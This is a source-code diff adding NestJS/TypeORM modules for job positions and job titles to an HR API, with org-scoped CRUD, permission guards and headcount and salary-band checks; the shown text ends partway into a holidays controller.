-0,0 +1,11 @@ +import { OmitType, PartialType } from "@nestjs/swagger"; + +import { CreateJobPositionDto } from "./create-job-position.dto"; + +/** + * `positionId` is omitted: re-pointing a headcount record at a different IAM + * position would move a budget line silently. Delete and re-create instead. + */ +export class UpdateJobPositionDto extends PartialType( + OmitType(CreateJobPositionDto, ["positionId"] as const), +) {} diff --git a/apps/edr-hr-api/src/modules/job-positions/entities/job-position.entity.ts b/apps/edr-hr-api/src/modules/job-positions/entities/job-position.entity.ts new file mode 100644 index 000000000..a91c5836b --- /dev/null +++ b/apps/edr-hr-api/src/modules/job-positions/entities/job-position.entity.ts @@ -0,0 +1,65 @@ +import { SoftDeleteAudit } from "@tria-plc/api-common/modules/typeorm/audit.entity"; +import { + Check, + Column, + Entity, + JoinColumn, + ManyToOne, + PrimaryGeneratedColumn, + Unique, +} from "typeorm"; + +import { JobTitle } from "../../job-titles/entities/job-title.entity"; + +/** + * The headcount / vacancy layer over `iam.positions`. + * + * Stores NOTHING IAM already holds — not the unit, not the organization. Both + * come from `iam.positions` and are read by joining. A copy here would be a + * second answer that goes stale the moment a position is moved. + * + * It EXTENDS a position, never replaces it: `positionId` is a soft reference to + * the IAM slot, unique here so a position cannot acquire two competing headcount + * records. IAM keeps owning who holds the position; HR adds what it is graded as, + * how many bodies it is budgeted for, and whether it is open for recruitment + * (which 3.5 reads when creating a job opening). + */ +@Entity({ schema: "hr", name: "job_positions" }) +@Unique("uq_job_positions_position_id", ["positionId"]) +@Check("ck_job_positions_budgeted_count", `"budgeted_count" >= 0`) +@Check("ck_job_positions_current_count", `"current_count" >= 0`) +export class JobPosition extends SoftDeleteAudit { + @PrimaryGeneratedColumn("uuid") + id!: string; + + /** Soft reference → `iam.positions.id`. */ + @Column({ type: "uuid", name: "position_id" }) + positionId!: string; + + @Column({ type: "uuid", name: "job_title_id", nullable: true }) + jobTitleId?: string | null; + + @ManyToOne(() => JobTitle, { nullable: true, onDelete: "SET NULL" }) + @JoinColumn({ name: "job_title_id" }) + jobTitle?: JobTitle | null; + + @Column({ type: "int", name: "budgeted_count", default: 1 }) + budgetedCount!: number; + + /** + * Cache of the current holder count in IAM. Refreshed from + * `IamDirectoryService.countCurrentPositionHolders` whenever the position is + * read or written through HR — IAM stays the source of truth, this column just + * makes "which posts are under-filled" answerable in one query. + */ + @Column({ type: "int", name: "current_count", default: 0 }) + currentCount!: number; + + /** Open for recruitment. Independent of vacancy: a post can be under-filled + * and still frozen, which is exactly what a hiring freeze is. */ + @Column({ type: "boolean", name: "is_open", default: false }) + isOpen!: boolean; + + @Column({ type: "uuid", name: "created_by", nullable: true }) + createdBy?: string | null; +} diff --git a/apps/edr-hr-api/src/modules/job-positions/job-positions.controller.ts b/apps/edr-hr-api/src/modules/job-positions/job-positions.controller.ts new file mode 100644 index 000000000..0c4799e25 --- /dev/null +++ b/apps/edr-hr-api/src/modules/job-positions/job-positions.controller.ts @@ -0,0 +1,105 @@ +import { + Body, + Controller, + Delete, + Get, + HttpCode, + HttpStatus, + Param, + ParseBoolPipe, + ParseUUIDPipe, + Patch, + Post, + Query, +} from "@nestjs/common"; +import { ApiBearerAuth, ApiOperation, ApiTags } from "@nestjs/swagger"; +import { CurrentUser } from "@tria-plc/api-common/modules/auth/decorators/current-user.decorator"; +import type { TCurrentUser } from "@tria-plc/api-common/modules/auth/types/current-user.type"; + +import { HrStaff } from "../../common/hr-guards"; +import { actorFrom } from "../../common/current-actor.util"; +import { HR_PERMS } from "../../seed/hr-permissions.registry"; +import { PaginationQueryDto } from "../../common/pagination.dto"; +import { JobPositionsService } from "./job-positions.service"; +import { CreateJobPositionDto } from "./dto/create-job-position.dto"; +import { UpdateJobPositionDto } from "./dto/update-job-position.dto"; + +@ApiTags("job-positions") +@ApiBearerAuth() +@Controller("job-positions") +@HrStaff([HR_PERMS.org.manageJobPosition, HR_PERMS.org.viewOrg]) +export class JobPositionsController { + constructor(private readonly jobPositionsService: JobPositionsService) {} + + @Post() + @HrStaff(HR_PERMS.org.manageJobPosition) + @ApiOperation({ + summary: "Add headcount/vacancy data to an existing IAM position", + }) + create(@Body() dto: CreateJobPositionDto, @CurrentUser() user: TCurrentUser) { + return this.jobPositionsService.create(dto, actorFrom(user)); + } + + @Get() + @HrStaff(HR_PERMS.org.viewOrg) + @ApiOperation({ summary: "List job positions" }) + findAll( + @Query() pagination: PaginationQueryDto, + @Query("unitId") unitId: string | undefined, + @Query("jobTitleId") jobTitleId: string | undefined, + @Query("isOpen", new ParseBoolPipe({ optional: true })) + isOpen: boolean | undefined, + @Query("vacantOnly", new ParseBoolPipe({ optional: true })) + vacantOnly: boolean | undefined, + @CurrentUser() user: TCurrentUser, + ) { + return this.jobPositionsService.findAll( + { ...pagination, unitId, jobTitleId, isOpen, vacantOnly }, + actorFrom(user), + ); + } + + @Get("headcount-totals") + @HrStaff(HR_PERMS.org.viewOrg) + @ApiOperation({ summary: "Budgeted vs current headcount, and the gap" }) + headcountTotals(@CurrentUser() user: TCurrentUser) { + return this.jobPositionsService.headcountTotals(actorFrom(user)); + } + + @Get(":id") + @HrStaff(HR_PERMS.org.viewOrg) + @ApiOperation({ + summary: "One job position, with the holder count re-read from IAM", + }) + findOne( + @Param("id", ParseUUIDPipe) id: string, + @CurrentUser() user: TCurrentUser, + ) { + return this.jobPositionsService.findOne(id, actorFrom(user)); + } + + @Patch(":id") + @HrStaff(HR_PERMS.org.manageJobPosition) + @ApiOperation({ summary: "Update budget, grade or recruitment status" }) + update( + @Param("id", ParseUUIDPipe) id: string, + @Body() dto: UpdateJobPositionDto, + @CurrentUser() user: TCurrentUser, + ) { + return this.jobPositionsService.update(id, dto, actorFrom(user)); + } + + @Delete(":id") + @HrStaff(HR_PERMS.org.manageJobPosition) + @HttpCode(HttpStatus.NO_CONTENT) + @ApiOperation({ + summary: "Delete a headcount record", + description: "Refused while anyone still holds the position in IAM.", + }) + remove( + @Param("id", ParseUUIDPipe) id: string, + @CurrentUser() user: TCurrentUser, + ) { + return this.jobPositionsService.remove(id, actorFrom(user)); + } +} diff --git a/apps/edr-hr-api/src/modules/job-positions/job-positions.module.ts b/apps/edr-hr-api/src/modules/job-positions/job-positions.module.ts new file mode 100644 index 000000000..8cf46fbc0 --- /dev/null +++ b/apps/edr-hr-api/src/modules/job-positions/job-positions.module.ts @@ -0,0 +1,17 @@ +import { Module } from "@nestjs/common"; +import { TypeOrmModule } from "@nestjs/typeorm"; + +import { JobPosition } from "./entities/job-position.entity"; +import { JobPositionsRepository } from "./job-positions.repository"; +import { JobPositionsService } from "./job-positions.service"; +import { JobPositionsController } from "./job-positions.controller"; +import { JobTitlesModule } from "../job-titles/job-titles.module"; + +@Module({ + imports: [TypeOrmModule.forFeature([JobPosition]), JobTitlesModule], + controllers: [JobPositionsController], + providers: [JobPositionsRepository, JobPositionsService], + // Recruitment (3.5) creates job openings against an open position. + exports: [JobPositionsRepository, JobPositionsService], +}) +export class JobPositionsModule {} diff --git a/apps/edr-hr-api/src/modules/job-positions/job-positions.repository.ts b/apps/edr-hr-api/src/modules/job-positions/job-positions.repository.ts new file mode 100644 index 000000000..85595c530 --- /dev/null +++ b/apps/edr-hr-api/src/modules/job-positions/job-positions.repository.ts @@ -0,0 +1,103 @@ +import { Injectable } from "@nestjs/common"; +import { InjectRepository } from "@nestjs/typeorm"; +import { BaseRepository } from "@edr/api-common"; +import { Repository } from "typeorm"; + +import { JobPosition } from "./entities/job-position.entity"; + +@Injectable() +export class JobPositionsRepository extends BaseRepository { + constructor( + @InjectRepository(JobPosition) repository: Repository, + ) { + super(repository); + } + + findByPositionId(positionId: string): Promise { + return this.repository.findOne({ where: { positionId } }); + } + + async findPage( + organizationId: string | null, + filters: { + unitId?: string; + jobTitleId?: string; + isOpen?: boolean; + vacantOnly?: boolean; + page?: number; + limit?: number; + sortOrder?: "ASC" | "DESC"; + }, + ): Promise<[JobPosition[], number]> { + const page = filters.page ?? 1; + const limit = filters.limit ?? 25; + + const qb = this.repository + .createQueryBuilder("position") + .leftJoinAndSelect("position.jobTitle", "jobTitle") + .where("1 = 1"); + + // `null` = every organization (super admin). `hr.job_positions` stores no + // copy of the organization — it lives on `iam.positions`, joined here the + // same way `headcountTotals` below already does it. (A direct + // `position.organization_id` reference doesn't exist on this table and + // 500s for any non-super-admin actor.) + if (organizationId) { + qb.andWhere( + `EXISTS (SELECT 1 FROM iam.positions p + WHERE p.id = position.position_id + AND p.organization_id = :organizationId)`, + { organizationId }, + ); + } + + if (filters.unitId) { + qb.andWhere("position.unit_id = :unitId", { unitId: filters.unitId }); + } + if (filters.jobTitleId) { + qb.andWhere("position.job_title_id = :jobTitleId", { + jobTitleId: filters.jobTitleId, + }); + } + if (filters.isOpen !== undefined) { + qb.andWhere("position.is_open = :isOpen", { isOpen: filters.isOpen }); + } + // NOTE on naming: `where`/`select` fragments are raw SQL, so they use the + // COLUMN name (organization_id). `orderBy` is resolved through entity + // metadata instead, so it needs the PROPERTY name (createdAt) — passing a + // column there throws `Cannot read properties of undefined (reading + // 'databaseName')` at query build time, not a SQL error. + if (filters.vacantOnly) { + qb.andWhere("position.current_count < position.budgeted_count"); + } + + return qb + .orderBy("position.createdAt", filters.sortOrder ?? "DESC") + .skip((page - 1) * limit) + .take(limit) + .getManyAndCount(); + } + + /** Budget vs actual headcount for the organization, in one query. */ + async headcountTotals( + organizationId: string | null, + ): Promise<{ budgeted: number; current: number; vacant: number }> { + const qb = this.repository + .createQueryBuilder("position") + .select("COALESCE(SUM(position.budgeted_count), 0)::text", "budgeted") + .addSelect("COALESCE(SUM(position.current_count), 0)::text", "current"); + if (organizationId) { + qb.where( + `EXISTS (SELECT 1 FROM iam.positions p + WHERE p.id = position.position_id + AND p.organization_id = :organizationId)`, + { organizationId }, + ); + } + const row = await qb.getRawOne<{ budgeted: string; current: string }>(); + + const budgeted = parseInt(row?.budgeted ?? "0", 10); + const current = parseInt(row?.current ?? "0", 10); + return { budgeted, current, vacant: Math.max(budgeted - current, 0) }; + } +} diff --git a/apps/edr-hr-api/src/modules/job-positions/job-positions.service.ts b/apps/edr-hr-api/src/modules/job-positions/job-positions.service.ts new file mode 100644 index 000000000..6f833259e --- /dev/null +++ b/apps/edr-hr-api/src/modules/job-positions/job-positions.service.ts @@ -0,0 +1,168 @@ +import { + BadRequestException, + ConflictException, + ForbiddenException, + Injectable, + NotFoundException, +} from "@nestjs/common"; + +import { JobPositionsRepository } from "./job-positions.repository"; +import { JobPosition } from "./entities/job-position.entity"; +import { CreateJobPositionDto } from "./dto/create-job-position.dto"; +import { UpdateJobPositionDto } from "./dto/update-job-position.dto"; +import { IamDirectoryService } from "../../iam-directory/iam-directory.service"; +import { JobTitlesRepository } from "../job-titles/job-titles.repository"; +import { ActorContext, orgScope } from "../employees/employees.service"; +import { Paginated, paginate } from "../../common/pagination.dto"; + +@Injectable() +export class JobPositionsService { + constructor( + private readonly jobPositionsRepository: JobPositionsRepository, + private readonly jobTitlesRepository: JobTitlesRepository, + private readonly iamDirectory: IamDirectoryService, + ) {} + + async create( + dto: CreateJobPositionDto, + actor: ActorContext, + ): Promise { + const position = await this.iamDirectory.requirePosition(dto.positionId); + + // The IAM position decides which organization the record belongs to, and it + // must be the caller's own unless they are a super admin. Taking the org + // from the actor instead would file the record under the wrong tenant when + // an admin creates across organizations. + if (!actor.isSuperAdmin && position.organizationId !== actor.organizationId) { + throw new ForbiddenException( + `IAM position ${dto.positionId} belongs to another organization`, + ); + } + + const existing = await this.jobPositionsRepository.findByPositionId( + dto.positionId, + ); + if (existing) { + throw new ConflictException( + `IAM position ${dto.positionId} already has headcount record ${existing.id}`, + ); + } + + if (dto.jobTitleId) { + await this.assertJobTitle(dto.jobTitleId, orgScope(actor)); + } + + return this.jobPositionsRepository.create({ + ...dto, + // Seeded from IAM at creation so the record is correct before anyone opens + // the list; kept fresh by `refreshCurrentCount` on every read of one. + currentCount: await this.iamDirectory.countCurrentPositionHolders( + dto.positionId, + ), + createdBy: actor.userId, + }); + } + + async update( + id: string, + dto: UpdateJobPositionDto, + actor: ActorContext, + ): Promise { + const position = await this.requirePosition(id, orgScope(actor)); + if (dto.jobTitleId) { + await this.assertJobTitle(dto.jobTitleId, orgScope(actor)); + } + return (await this.jobPositionsRepository.update(id, dto)) ?? position; + } + + async findAll( + filters: { + unitId?: string; + jobTitleId?: string; + isOpen?: boolean; + vacantOnly?: boolean; + page?: number; + limit?: number; + sortOrder?: "ASC" | "DESC"; + }, + actor: ActorContext, + ): Promise> { + const [items, total] = await this.jobPositionsRepository.findPage( + orgScope(actor), + filters, + ); + return paginate(items, total, filters.page ?? 1, filters.limit ?? 25); + } + + /** One position, with its holder count re-read from IAM first. */ + async findOne(id: string, actor: ActorContext): Promise { + const position = await this.requirePosition(id, orgScope(actor)); + return this.refreshCurrentCount(position); + } + + async headcountTotals(actor: ActorContext) { + return this.jobPositionsRepository.headcountTotals(orgScope(actor)); + } + + async remove(id: string, actor: ActorContext): Promise { + const position = await this.requirePosition(id, orgScope(actor)); + const fresh = await this.refreshCurrentCount(position); + if (fresh.currentCount > 0) { + throw new BadRequestException( + `${fresh.currentCount} employee(s) currently hold this position in IAM. Move them first.`, + ); + } + await this.jobPositionsRepository.softDelete(id); + } + + /** + * Re-read the holder count from IAM and persist it when it has moved. + * + * `current_count` is a cache, not a second source of truth — IAM owns who + * holds a position, and writes happen there without HR ever being told. The + * write is conditional so a read does not churn `updated_at` on every request. + */ + private async refreshCurrentCount( + position: JobPosition, + ): Promise { + const actual = await this.iamDirectory.countCurrentPositionHolders( + position.positionId, + ); + if (actual === position.currentCount) return position; + return ( + (await this.jobPositionsRepository.update(position.id, { + currentCount: actual, + })) ?? position + ); + } + + private async assertJobTitle( + jobTitleId: string, + organizationId: string | null, + ): Promise { + const title = await this.jobTitlesRepository.findById(jobTitleId); + if (!title || (organizationId && title.organizationId !== organizationId)) { + throw new BadRequestException( + `Job title ${jobTitleId} does not exist in this organization`, + ); + } + } + + /** `organizationId: null` = no scoping (super admin). */ + private async requirePosition( + id: string, + organizationId: string | null, + ): Promise { + const record = await this.jobPositionsRepository.findById(id); + if (!record) throw new NotFoundException(`Job position ${id} not found`); + + // Tenancy comes from the IAM position, not from a copy stored here. + if (organizationId) { + const iam = await this.iamDirectory.findPosition(record.positionId); + if (iam?.organizationId !== organizationId) { + throw new NotFoundException(`Job position ${id} not found`); + } + } + return record; + } +} diff --git a/apps/edr-hr-api/src/modules/job-titles/dto/create-job-title.dto.ts b/apps/edr-hr-api/src/modules/job-titles/dto/create-job-title.dto.ts new file mode 100644 index 000000000..3049789a6 --- /dev/null +++ b/apps/edr-hr-api/src/modules/job-titles/dto/create-job-title.dto.ts @@ -0,0 +1,63 @@ +import { ApiProperty, ApiPropertyOptional } from "@nestjs/swagger"; +import { Type } from "class-transformer"; +import { + IsBoolean, + IsInt, + IsNumberString, + IsOptional, + IsString, + Matches, + Max, + MaxLength, + Min, + ValidateNested, +} from "class-validator"; + +import { LocalizedNameDto } from "../../employees/dto/create-employee-profile.dto"; + +export class CreateJobTitleDto { + @ApiProperty({ type: LocalizedNameDto }) + @ValidateNested() + @Type(() => LocalizedNameDto) + name!: LocalizedNameDto; + + @ApiProperty({ + maxLength: 32, + description: "Unique within the organization. Upper-case letters, digits, dash.", + }) + @IsString() + @MaxLength(32) + @Matches(/^[A-Z0-9-]+$/, { + message: "code must contain only A-Z, 0-9 and -", + }) + code!: string; + + @ApiPropertyOptional({ minimum: 1, maximum: 30, default: 1 }) + @IsOptional() + @Type(() => Number) + @IsInt() + @Min(1) + @Max(30) + gradeLevel?: number; + + @ApiPropertyOptional({ description: "ETB, 2 decimal places" }) + @IsOptional() + @IsNumberString({ no_symbols: false }) + salaryBandMin?: string; + + @ApiPropertyOptional({ description: "ETB, 2 decimal places" }) + @IsOptional() + @IsNumberString({ no_symbols: false }) + salaryBandMax?: string; + + @ApiPropertyOptional({ type: LocalizedNameDto }) + @IsOptional() + @ValidateNested() + @Type(() => LocalizedNameDto) + description?: LocalizedNameDto; + + @ApiPropertyOptional({ default: true }) + @IsOptional() + @IsBoolean() + isActive?: boolean; +} diff --git a/apps/edr-hr-api/src/modules/job-titles/dto/update-job-title.dto.ts b/apps/edr-hr-api/src/modules/job-titles/dto/update-job-title.dto.ts new file mode 100644 index 000000000..026a6dae4 --- /dev/null +++ b/apps/edr-hr-api/src/modules/job-titles/dto/update-job-title.dto.ts @@ -0,0 +1,5 @@ +import { PartialType } from "@nestjs/swagger"; + +import { CreateJobTitleDto } from "./create-job-title.dto"; + +export class UpdateJobTitleDto extends PartialType(CreateJobTitleDto) {} diff --git a/apps/edr-hr-api/src/modules/job-titles/entities/job-title.entity.ts b/apps/edr-hr-api/src/modules/job-titles/entities/job-title.entity.ts new file mode 100644 index 000000000..f42aae2e4 --- /dev/null +++ b/apps/edr-hr-api/src/modules/job-titles/entities/job-title.entity.ts @@ -0,0 +1,67 @@ +import { SoftDeleteAudit } from "@tria-plc/api-common/modules/typeorm/audit.entity"; +import { + Check, + Column, + Entity, + Index, + PrimaryGeneratedColumn, + Unique, +} from "typeorm"; + +/** + * The grade / salary-band catalogue. IAM has no equivalent: `iam.positions` is a + * slot in the org chart ("Warehouse Supervisor, Dire Dawa"), whereas a job title + * is the graded role that slot is an instance of ("Supervisor, Grade 7"). Salary + * structures (3.4) attach to the title, not the slot. + */ +@Entity({ schema: "hr", name: "job_titles" }) +@Unique("uq_job_titles_org_code", ["organizationId", "code"]) +@Index("idx_job_titles_organization_id", ["organizationId"]) +@Check( + "ck_job_titles_salary_band", + `"salary_band_min" IS NULL OR "salary_band_max" IS NULL OR "salary_band_max" >= "salary_band_min"`, +) +export class JobTitle extends SoftDeleteAudit { + @PrimaryGeneratedColumn("uuid") + id!: string; + + @Column({ type: "uuid", name: "organization_id" }) + organizationId!: string; + + @Column({ type: "jsonb", name: "name" }) + name!: { am: string; en: string }; + + @Column({ type: "varchar", length: 32, name: "code" }) + code!: string; + + /** Higher is more senior. Ordering key for grade-based reports and bands. */ + @Column({ type: "int", name: "grade_level", default: 1 }) + gradeLevel!: number; + + @Column({ + type: "numeric", + precision: 14, + scale: 2, + name: "salary_band_min", + nullable: true, + }) + salaryBandMin?: string | null; + + @Column({ + type: "numeric", + precision: 14, + scale: 2, + name: "salary_band_max", + nullable: true, + }) + salaryBandMax?: string | null; + + @Column({ type: "jsonb", name: "description", nullable: true }) + description?: { am: string; en: string } | null; + + @Column({ type: "boolean", name: "is_active", default: true }) + isActive!: boolean; + + @Column({ type: "uuid", name: "created_by", nullable: true }) + createdBy?: string | null; +} diff --git a/apps/edr-hr-api/src/modules/job-titles/job-titles.controller.ts b/apps/edr-hr-api/src/modules/job-titles/job-titles.controller.ts new file mode 100644 index 000000000..fdca8081e --- /dev/null +++ b/apps/edr-hr-api/src/modules/job-titles/job-titles.controller.ts @@ -0,0 +1,91 @@ +import { + Body, + Controller, + Delete, + Get, + HttpCode, + HttpStatus, + Param, + ParseBoolPipe, + ParseUUIDPipe, + Patch, + Post, + Query, +} from "@nestjs/common"; +import { ApiBearerAuth, ApiOperation, ApiTags } from "@nestjs/swagger"; +import { CurrentUser } from "@tria-plc/api-common/modules/auth/decorators/current-user.decorator"; +import type { TCurrentUser } from "@tria-plc/api-common/modules/auth/types/current-user.type"; + +import { HrStaff } from "../../common/hr-guards"; +import { actorFrom } from "../../common/current-actor.util"; +import { HR_PERMS } from "../../seed/hr-permissions.registry"; +import { PaginationQueryDto } from "../../common/pagination.dto"; +import { JobTitlesService } from "./job-titles.service"; +import { CreateJobTitleDto } from "./dto/create-job-title.dto"; +import { UpdateJobTitleDto } from "./dto/update-job-title.dto"; + +@ApiTags("job-titles") +@ApiBearerAuth() +@Controller("job-titles") +@HrStaff([HR_PERMS.org.manageJobTitle, HR_PERMS.org.viewOrg]) +export class JobTitlesController { + constructor(private readonly jobTitlesService: JobTitlesService) {} + + @Post() + @HrStaff(HR_PERMS.org.manageJobTitle) + @ApiOperation({ summary: "Create a job title (grade / salary band)" }) + create(@Body() dto: CreateJobTitleDto, @CurrentUser() user: TCurrentUser) { + return this.jobTitlesService.create(dto, actorFrom(user)); + } + + @Get() + @HrStaff(HR_PERMS.org.viewOrg) + @ApiOperation({ summary: "List job titles" }) + findAll( + @Query() pagination: PaginationQueryDto, + @Query("search") search: string | undefined, + @Query("isActive", new ParseBoolPipe({ optional: true })) + isActive: boolean | undefined, + @CurrentUser() user: TCurrentUser, + ) { + return this.jobTitlesService.findAll( + { ...pagination, search, isActive }, + actorFrom(user), + ); + } + + @Get(":id") + @HrStaff(HR_PERMS.org.viewOrg) + @ApiOperation({ summary: "One job title" }) + findOne( + @Param("id", ParseUUIDPipe) id: string, + @CurrentUser() user: TCurrentUser, + ) { + return this.jobTitlesService.findOne(id, actorFrom(user)); + } + + @Patch(":id") + @HrStaff(HR_PERMS.org.manageJobTitle) + @ApiOperation({ summary: "Update a job title" }) + update( + @Param("id", ParseUUIDPipe) id: string, + @Body() dto: UpdateJobTitleDto, + @CurrentUser() user: TCurrentUser, + ) { + return this.jobTitlesService.update(id, dto, actorFrom(user)); + } + + @Delete(":id") + @HrStaff(HR_PERMS.org.manageJobTitle) + @HttpCode(HttpStatus.NO_CONTENT) + @ApiOperation({ + summary: "Delete a job title", + description: "Refused while employees still hold it — deactivate instead.", + }) + remove( + @Param("id", ParseUUIDPipe) id: string, + @CurrentUser() user: TCurrentUser, + ) { + return this.jobTitlesService.remove(id, actorFrom(user)); + } +} diff --git a/apps/edr-hr-api/src/modules/job-titles/job-titles.module.ts b/apps/edr-hr-api/src/modules/job-titles/job-titles.module.ts new file mode 100644 index 000000000..406d7348b --- /dev/null +++ b/apps/edr-hr-api/src/modules/job-titles/job-titles.module.ts @@ -0,0 +1,17 @@ +import { Module } from "@nestjs/common"; +import { TypeOrmModule } from "@nestjs/typeorm"; + +import { JobTitle } from "./entities/job-title.entity"; +import { JobTitlesRepository } from "./job-titles.repository"; +import { JobTitlesService } from "./job-titles.service"; +import { JobTitlesController } from "./job-titles.controller"; + +@Module({ + imports: [TypeOrmModule.forFeature([JobTitle])], + controllers: [JobTitlesController], + providers: [JobTitlesRepository, JobTitlesService], + // The employees module validates a profile's job title, and payroll (3.4) + // reads the salary band off it. + exports: [JobTitlesRepository, JobTitlesService], +}) +export class JobTitlesModule {} diff --git a/apps/edr-hr-api/src/modules/job-titles/job-titles.repository.ts b/apps/edr-hr-api/src/modules/job-titles/job-titles.repository.ts new file mode 100644 index 000000000..2fcc407ef --- /dev/null +++ b/apps/edr-hr-api/src/modules/job-titles/job-titles.repository.ts @@ -0,0 +1,70 @@ +import { Injectable } from "@nestjs/common"; +import { InjectRepository } from "@nestjs/typeorm"; +import { BaseRepository } from "@edr/api-common"; +import { Repository } from "typeorm"; + +import { JobTitle } from "./entities/job-title.entity"; + +@Injectable() +export class JobTitlesRepository extends BaseRepository { + constructor( + @InjectRepository(JobTitle) repository: Repository, + ) { + super(repository); + } + + findByCode(organizationId: string, code: string): Promise { + return this.repository.findOne({ where: { organizationId, code } }); + } + + async findPage( + organizationId: string | null, + filters: { + search?: string; + isActive?: boolean; + page?: number; + limit?: number; + sortOrder?: "ASC" | "DESC"; + }, + ): Promise<[JobTitle[], number]> { + const page = filters.page ?? 1; + const limit = filters.limit ?? 25; + + const qb = this.repository.createQueryBuilder("title").where("1 = 1"); + + // `null` = every organization (super admin). + if (organizationId) { + qb.andWhere("title.organization_id = :organizationId", { organizationId }); + } + + if (filters.isActive !== undefined) { + qb.andWhere("title.is_active = :isActive", { isActive: filters.isActive }); + } + if (filters.search) { + // Both locales of the jsonb name, plus the code. + qb.andWhere( + `(title.code ILIKE :search OR title.name->>'en' ILIKE :search OR title.name->>'am' ILIKE :search)`, + { search: `%${filters.search}%` }, + ); + } + + return qb + .orderBy("title.gradeLevel", filters.sortOrder ?? "ASC") + .addOrderBy("title.code", "ASC") + .skip((page - 1) * limit) + .take(limit) + .getManyAndCount(); + } + + /** How many profiles reference this title — the guard against deleting a + * title that salary structures and employees still point at. */ + async countEmployeesUsing(jobTitleId: string): Promise { + const row = await this.repository.manager.query<{ count: string }[]>( + `SELECT COUNT(*)::text AS count + FROM hr.employee_profiles + WHERE job_title_id = $1 AND deleted_at IS NULL`, + [jobTitleId], + ); + return parseInt(row[0]?.count ?? "0", 10); + } +} diff --git a/apps/edr-hr-api/src/modules/job-titles/job-titles.service.ts b/apps/edr-hr-api/src/modules/job-titles/job-titles.service.ts new file mode 100644 index 000000000..f46594741 --- /dev/null +++ b/apps/edr-hr-api/src/modules/job-titles/job-titles.service.ts @@ -0,0 +1,135 @@ +import { + BadRequestException, + ConflictException, + Injectable, + NotFoundException, +} from "@nestjs/common"; + +import { JobTitlesRepository } from "./job-titles.repository"; +import { JobTitle } from "./entities/job-title.entity"; +import { CreateJobTitleDto } from "./dto/create-job-title.dto"; +import { UpdateJobTitleDto } from "./dto/update-job-title.dto"; +import { ActorContext, orgScope } from "../employees/employees.service"; +import { Paginated, paginate } from "../../common/pagination.dto"; + +@Injectable() +export class JobTitlesService { + constructor(private readonly jobTitlesRepository: JobTitlesRepository) {} + + private static assertBand(min?: string | null, max?: string | null): void { + if (min && max && Number(max) < Number(min)) { + throw new BadRequestException( + "salaryBandMax cannot be lower than salaryBandMin", + ); + } + } + + async create( + dto: CreateJobTitleDto, + actor: ActorContext, + ): Promise { + JobTitlesService.assertBand(dto.salaryBandMin, dto.salaryBandMax); + + // A job title has no IAM parent to inherit an organization from, so it is + // created in the caller's own. A super admin with no employee record has + // none — better an explicit error than a row filed under an empty id. + if (!actor.organizationId) { + throw new BadRequestException( + "Cannot create a job title: this account has no organization. " + + "Job titles belong to a specific organization.", + ); + } + + const clash = await this.jobTitlesRepository.findByCode( + actor.organizationId, + dto.code, + ); + if (clash) { + throw new ConflictException(`Job title code ${dto.code} already exists`); + } + + return this.jobTitlesRepository.create({ + ...dto, + organizationId: actor.organizationId, + createdBy: actor.userId, + }); + } + + async update( + id: string, + dto: UpdateJobTitleDto, + actor: ActorContext, + ): Promise { + const title = await this.requireTitle(id, orgScope(actor)); + + JobTitlesService.assertBand( + dto.salaryBandMin ?? title.salaryBandMin, + dto.salaryBandMax ?? title.salaryBandMax, + ); + + if (dto.code && dto.code !== title.code) { + // Uniqueness is per organization, so check against the TITLE's own org — + // not the caller's. For a super admin editing another organization's + // title those differ, and using the caller's would compare against the + // wrong set of codes. + const clash = await this.jobTitlesRepository.findByCode( + title.organizationId, + dto.code, + ); + if (clash) { + throw new ConflictException(`Job title code ${dto.code} already exists`); + } + } + + return (await this.jobTitlesRepository.update(id, dto)) ?? title; + } + + async findAll( + filters: { + search?: string; + isActive?: boolean; + page?: number; + limit?: number; + sortOrder?: "ASC" | "DESC"; + }, + actor: ActorContext, + ): Promise> { + const [items, total] = await this.jobTitlesRepository.findPage( + orgScope(actor), + filters, + ); + return paginate(items, total, filters.page ?? 1, filters.limit ?? 25); + } + + findOne(id: string, actor: ActorContext): Promise { + return this.requireTitle(id, orgScope(actor)); + } + + /** + * Removing a title that employees still hold would orphan their grade and, + * from 3.4, their salary structure. Deactivating is the supported way to + * retire one: it disappears from pickers but existing references keep resolving. + */ + async remove(id: string, actor: ActorContext): Promise { + const title = await this.requireTitle(id, orgScope(actor)); + const inUse = await this.jobTitlesRepository.countEmployeesUsing(title.id); + if (inUse > 0) { + throw new ConflictException( + `${inUse} employee(s) hold this job title. Deactivate it instead of deleting it.`, + ); + } + await this.jobTitlesRepository.softDelete(id); + } + + /** `organizationId: null` = no scoping (super admin). */ + private async requireTitle( + id: string, + organizationId: string | null, + ): Promise { + const title = await this.jobTitlesRepository.findById(id); + if (!title || (organizationId && title.organizationId !== organizationId)) { + throw new NotFoundException(`Job title ${id} not found`); + } + return title; + } +} diff --git a/apps/edr-hr-api/src/modules/leave/controllers/holidays.controller.ts b/apps/edr-hr-api/src/modules/leave/controllers/holidays.controller.ts new file mode 100644 index 000000000..2ea399c17 --- /dev/null +++ b/apps/edr-hr-api/src/modules/leave/controllers/holidays.controller.ts @@ -0,0 +1,106 @@ +import { + Body, + Controller, + Delete, + Get, + HttpCode, + HttpStatus, + Param, + ParseUUIDPipe, + Patch, + Post, + Query, +} from "@nestjs/common"; +import { + ApiBearerAuth, + ApiOperation, + ApiQuery, + ApiTags, +} from "@nestjs/swagger"; +import { CurrentUser } from "@tria-plc/api-common/modules/auth/decorators/current-user.decorator"; +import type { TCurrentUser } from "@tria-plc/api-common/modules/auth/types/current-user.type"; + +import { HrStaff } from "../../../common/hr-guards"; +import { actorFrom } from "../../../common/current-actor.util"; +import { HR_PERMS } from "../../../seed/hr-permissions.registry"; +import { HolidaysService } from "../services/holidays.service"; +import { CreateHolidayDto, UpdateHolidayDto } from "../dto/holiday.dto"; + +@ApiTags("holidays") +@ApiBearerAuth() +@Controller("holidays") +@HrStaff([HR_PERMS.leave.managePublicHoliday, HR_PERMS.leave.viewOwn]) +export class HolidaysController { + constructor(private readonly holidaysService: HolidaysService) {} + + @Get() + @HrStaff(HR_PERMS.leave.viewOwn) + @ApiOperation({ + summary: "Holidays in a range", + description: + "National holidays plus this organization's own. Defaults to the current " + + "Gregorian year.", + }) + @ApiQuery({ name: "start", required: false, example: "2026-01-01" }) + @ApiQuery({ name: "end", required: false, example: "2026-12-31" }) + findAll( + @CurrentUser() user: TCurrentUser, + @Query("start") start?: string, + @Query("end") end?: string, + ) { + return this.holidaysService.findAll({ start, end }, actorFrom(user)); + } + + @Get("calendar") + @HrStaff(HR_PERMS.leave.viewOwn) + @ApiOperation({ + summary: "Working-day breakdown for a range", + description: + "Returns the holidays, the weekend definition, and both day counts — so a " + + "leave form can explain why five 